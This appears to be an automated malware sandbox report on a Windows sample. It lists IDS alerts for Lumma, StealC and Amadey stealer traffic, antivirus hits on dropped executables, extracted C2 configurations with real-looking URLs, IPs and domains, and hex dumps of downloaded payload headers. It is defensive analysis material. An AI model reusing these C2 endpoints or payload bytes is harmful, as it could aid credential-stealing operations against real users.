2024-10-26T08:52:48.239751+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49702	172.67.170.64	443	TCP
2024-10-26T08:54:43.858049+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	50037	172.67.170.64	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T08:53:41.342162+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49956	185.215.113.206	80	TCP
2024-10-26T08:54:15.537882+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49991	185.215.113.206	80	TCP
2024-10-26T08:55:19.176663+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50120	185.215.113.206	80	TCP
2024-10-26T08:55:46.235168+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50158	185.215.113.206	80	TCP
2024-10-26T08:55:47.836081+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50168	185.215.113.206	80	TCP
2024-10-26T08:56:13.454982+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50186	185.215.113.206	80	TCP
2024-10-26T08:56:18.509856+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50197	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T08:53:51.976244+0200	2856147	1	A Network Trojan was detected	192.168.2.7	49979	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T08:54:04.246164+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	49980	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T08:53:55.408231+0200	2803305	3	Unknown Traffic	192.168.2.7	49981	185.215.113.16	80	TCP
2024-10-26T08:54:06.121133+0200	2803305	3	Unknown Traffic	192.168.2.7	49984	185.215.113.16	80	TCP
2024-10-26T08:54:15.679329+0200	2803305	3	Unknown Traffic	192.168.2.7	49992	185.215.113.16	80	TCP
2024-10-26T08:54:23.805433+0200	2803305	3	Unknown Traffic	192.168.2.7	49998	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T08:55:03.613693+0200	2843864	1	A Network Trojan was detected	192.168.2.7	50090	172.67.170.64	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\D7GI4LGVF8ASO12V3.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000B.00000002.1727985312.00000000008C1000.00000040.00000001.01000000.00000009.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 21.2.ea19c894e7.exe.f10000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}
Source: df757a3a2c.exe.2332.20.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["fadehairucw.store", "necklacedmny.store", "presticitpo.store", "crisiwarny.store", "thumbystriw.store", "founpiuer.store", "scriptyprefej.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\D7GI4LGVF8ASO12V3.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\UYC74GB6WBXMLVLE5D9EEPR.exe	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 31%
Source: file.exe	Virustotal: Detection: 43%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\UYC74GB6WBXMLVLE5D9EEPR.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D7GI4LGVF8ASO12V3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50164 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: K2GPLQXM988TEBRN5R.exe, 00000013.00000002.2225366106.0000000000272000.00000040.00000001.01000000.0000000C.sdmp, K2GPLQXM988TEBRN5R.exe, 00000013.00000003.2091019096.0000000004890000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Directory queried: number of queries: 1508

Source: firefox.exe

Memory has grown: Private usage: 40MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49956 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49979 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:49980
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49983 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49989 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49991 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49997 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50008 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50120 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50158 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50168 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50186 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50197 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49700 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49699 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49699 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49702 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49748 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49999 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49999 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49985 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49995 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49995 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49985 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:50037 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49994 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50041 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49982 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49982 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50077 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50077 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50092 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50079 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50079 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:50090 -> 172.67.170.64:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:52:59 GMTContent-Type: application/octet-streamContent-Length: 1897984Last-Modified: Sat, 26 Oct 2024 06:48:41 GMTConnection: keep-aliveETag: "671c90c9-1cf600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4b 00 00 04 00 00 17 23 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 19 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 19 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 75 6f 6e 69 72 76 62 00 e0 19 00 00 40 31 00 00 da 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6f 77 6e 6b 75 6d 72 00 10 00 00 00 20 4b 00 00 06 00 00 00 ce 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4b 00 00 22 00 00 00 d4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:53:18 GMTContent-Type: application/octet-streamContent-Length: 1872384Last-Modified: Sat, 26 Oct 2024 06:48:34 GMTConnection: keep-aliveETag: "671c90c2-1c9200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 20 c6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 6c 64 73 71 67 7a 00 30 1a 00 00 80 50 00 00 2e 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 67 72 62 79 65 67 69 00 10 00 00 00 b0 6a 00 00 06 00 00 00 6a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 70 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
